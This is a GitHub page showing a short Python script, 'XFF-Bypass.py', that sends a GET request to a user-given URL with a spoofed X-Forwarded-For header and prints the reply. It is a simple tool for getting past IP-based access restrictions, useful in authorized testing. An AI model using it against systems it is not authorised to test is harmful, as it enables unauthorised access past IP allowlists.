-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathXFF-Bypass.py
35 lines (29 loc) · 1.63 KB
/
XFF-Bypass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import sys
banner = """
███████╗██████╗ ███████╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
█████╗ ██████╔╝█████╗ ██║ ██║██║ ██║██║ ██║ ╚███╔╝
██╔══╝ ██╔══██╗██╔══╝ ██║ ██║██║ ██║██║ ██║ ██╔██╗
██║ ██║ ██║███████╗██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚═╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
"""
def main():
try:
print(banner)
if len(sys.argv) != 3:
print("[Usage] python3 XFF.py [XFF_IP] [TARGET_URL]")
return
xff_ip = sys.argv[1]
target_url = sys.argv[2]
headers = {"X-Forwarded-For": xff_ip}
response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print(response.content)
else:
print(f"[ERROR] Status Code: {response.status_code}")
print(response.content.decode('utf-8'))
except IndexError:
print("[Usage] python3 XFF.py [XFF_IP] [TARGET_URL]")
if __name__ == "__main__":
main()